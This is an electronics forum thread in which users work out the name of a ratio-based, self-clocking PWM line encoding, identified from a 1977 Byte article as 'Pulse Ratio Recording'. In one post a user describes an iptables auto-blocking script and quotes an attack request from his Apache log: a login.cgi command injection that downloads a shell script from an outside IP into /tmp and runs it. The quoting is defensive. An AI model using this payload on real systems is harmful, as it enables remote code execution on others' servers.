Searching for line encoding NAME (not Manchester)

Warren wrote

That is very nice! I am not very active on the bands ATM, do have F license. the ax25 code is used for telemetry from a model aircraft, 8 GHz via sound channel, video is airplane camera, still an active project, uses the good old TCM3105 modem chip at 1200Bd. I listen a bit on 70 cm here, and am playing with satellite, sort of waiting for the Qatar Eshail2 sat to be launched.

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has been delayed many times....

Interesting, yes I am active Linux programmer too, gcc, C only. No experience whatsoever with Arduino and STM32.

Aha, well I use the 'noppp programmer'

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see circuit diagram on that site and wrote a Linux version of the programming software for the 18F14K22:
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Cost zero (junkbox), took a few days to write the programmer, needs a PC par port, those PCI cards with parport are only a few dollars. I use gputils in Linux, it has the gpasm assembler, these tiny micros I only program in asm, no mplab, no simulations, serial port is my debug, only need one pin and a scope. There is some Microchip PIC code on my site;
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and a lot of other projects
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Website needs updating

Ah, I have Apache running on a raspberry pi with a copy of my website... not 24/7 YMMV. http://217.120.43.67/panteltje/newsflex/download.html I think by now I have written many type of servers, latest one for control of a boat.

I am retired, so many of these program I write and things I design now are just for fun.

Reply to
<698839253X6D445TD
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There's also a multi-color LED (think: Arduino kits) that use this "duty-cycle" scheme. I forget the exact part number, but's it seems to be everywhere in Arduino/maker circles. Digikey has it.

Reply to
mpm

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Reply to
Lasse Langwadt Christensen

ver gets mentioned in articles pertaining to other encoding techniques. I f irst saw its use and description in Byte magazine, eons ago. IIRC, it was t hen incorrectly given a modified Manchester moniker.

s a simple ratio of low time to high time in a given bit cell (or inverted if you like). You'll need monospaced font to see this ASCII art:

For a 1-bit, the rising edge occurs at 1/3 of the bit time, while a 0-bit rising edge occurs at the 2/3 point (or vs versa if you like).

iny13A, where all that is required to decode this self clocking signal is t o time the low time vs the high time. The bit is determined by the ratio of the two durations. Because the bits are determined by ratios, it is forgiv ing of the RC system clocks that can be used on these 8-pin DIP MCUs.

ely there is a name for it). The critical element is that there is a transi tion at the 1/3 or 2/3 point within the bit cell.

A friend found and emailed me a link to a Byte article that covered this an d other formats extensively:

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PULSE RATIO RECORDING

It seems that the authors labeled it "Pulse Ratio Recording" (as it was use d for mag tape). They list the wave form as "H" on page 38, and as code nam es "PR, PW and SWT" in Table 1 on page 39. The waveform "H" is an inverted form of the waveform I described.

The paragraphs describing this format goes on to say that "the resistance a nd resolution can be improved by accentuating the pulse width difference; b ut then the noise immunity suffers because the bandwidth goes up".

there was originally a list of a whole lot of variants, and the usual versi on was referred to as Manchester 2 by purists.

I've seen a video of that memory. Wild stuff. If your teeth fell into the m ercury, it could ruin the entire day's computing effort :)

Warren

Reply to
Warren

We have custom written servers in C++ to serve up XML (inet ad services). These are highly performance optimized to run multiple core, multiple threads. That gives us the competitive advantage over the competition, running Apache servers. :)

I look forward to being retired but not quite there yet. Sometimes I think I am on the "Freedom-75" plan the way expenses are.

Warren

Reply to
Warren

It's not a state. It's a duty cycle. It's rather difficult to draw PWM waveforms with other duty cycles using ASCII art. However, I think I an do a little better than only 1/3 and 2/3:

__ _____ _____ _____ |_| |_| |_| | 17% x x x x

__ ____ ____ ____ |__| |__| |__| | 33% x x x x

__ ___ ___ ___ |___| |___| |___| | 50% x x x x

__ __ __ __ |____| |____| |____| | 67% x x x x

_ _ _ _ | |_____| |_____| |_____| | 84% x x x x

If I play with the line lengths, I could get considerably higher resolution and range of duty cycles.

I don't follow the logic. Just because you claim that it has a limited range of duty cycles doesn't entitle it to a unique name.

Chirp is for RADAR and is not PWM.

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Jeff Liebermann     jeffl@cruzio.com 
150 Felker St #D    http://www.LearnByDestroying.com 
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Reply to
Jeff Liebermann

I am working on some code to automatically add any IP address that tries things on the server that it should not, added to the IPtables firewall:

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That works really nice and effective: ~# ip_to_country -t /var/log/apache2/access.log -f 2 -a "phpMyAdmin login cgi masscan admin POST phpstorm" -b "1000 100" -e "echo intruder | festival --tts; kill_ip" ..... execute_shell_commands(): executing=echo intruder | festival --tts execute_shell_commands(): executing kill_ip ip=41.184.170.112 Adding IP 41.184.170.112 to firewall executing ireject=41.184.170.112 executing iptables -A INPUT -s 41.184.170.112 -p all -j DROP executing iptables -A OUTPUT -s 41.184.170.112 -p all -j REJECT executing load-firewall

41.184.170.112 "NG" Nigeria - - [20/Aug/2018:19:38:38 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.32.32.156/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1"

Only problem is dynamic IPs, those get added too. Latest code not on the side yet, still testing. Sometimes there is an attack every few minutes. Internet is just like the wild wild west.

Yes with a reality show host in command of 'merrica it is hard to tell what and if there is a future.

Reply to
<698839253X6D445TD

rote:

rely there is a name for it). The critical element is that there is a trans ition at the 1/3 or 2/3 point within the bit cell.

ulation.

PCM (Pulse Code Modulation) was the Bell Telephone Company name for the dig ital output from an ADC which they shipped over the phone lines. I always thought it was kind of goofy, but I guess they needed a name and since all the analog methods has some sort of similar name, this is what they came up with.

Rick C.

Reply to
gnuarm.deletethisbit

I'm sure it has been used the way you describe, but I've never seen a PWM signal based on ratios rather than absolute timings. Makes sense though. Why not coin a name such as "Pulse Width Ratio Modulation"? PWRM Or just PRM?

Rick C.

Reply to
gnuarm.deletethisbit

One bit asynchronous serial. I don't know if there's a special term for this.

WS2812 etc use this scheme.

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Reply to
Jasen Betts

Seems my poost didn't get through so posting again.... That scheme is used on super cheap Tx/Rx radio. It's also used on the latest 4 wire RGB LEDs but has some lose timing constraints...

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Reply to
TTman

... Apache works for some folks just fine. Our requirements require an order of magnitude of performance (we're not serving up typical web pages but XML search results).

The show that is playing now is rather disturbing, indeed.

Warren

Reply to
Warren

gets mentioned in articles pertaining to other encoding techniques. I firs t saw its use and description in Byte magazine, eons ago. IIRC, it was then incorrectly given a modified Manchester moniker.

simple ratio of low time to high time in a given bit cell (or inverted if you like). You'll need monospaced font to see this ASCII art:

r a 1-bit, the rising edge occurs at 1/3 of the bit time, while a 0-bit ris ing edge occurs at the 2/3 point (or vs versa if you like).

THREAD SUMMARY:

Whether or not you believe this PWM wave form should have its own specializ ed name or not, this format has been named in a byte magazine article in 19

77 with a few names (and by prior research according to the article):

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Primarily by the magazine authors as:

PULSE RATIO RECORDING

"Pulse Ratio Recording" (as it was used for mag tape). They list the wave f orm as "H" on page 38, and as code names "PR, PW and SWT" in Table 1 on pag e 39. The waveform "H" is an inverted form of the waveform I described.

I don't know what the other acronyms mean (PW- Pulse Width aka PWM?), no id ea what SWT refers to. Perhaps these can be discovered/confirmed by checkin g the sources in the magazine article.

I also like John's Larkin's "long-short encoding".

Anyway, for my part, I consider this mission accomplished. Thanks everyone.

Warren

Reply to
Warren

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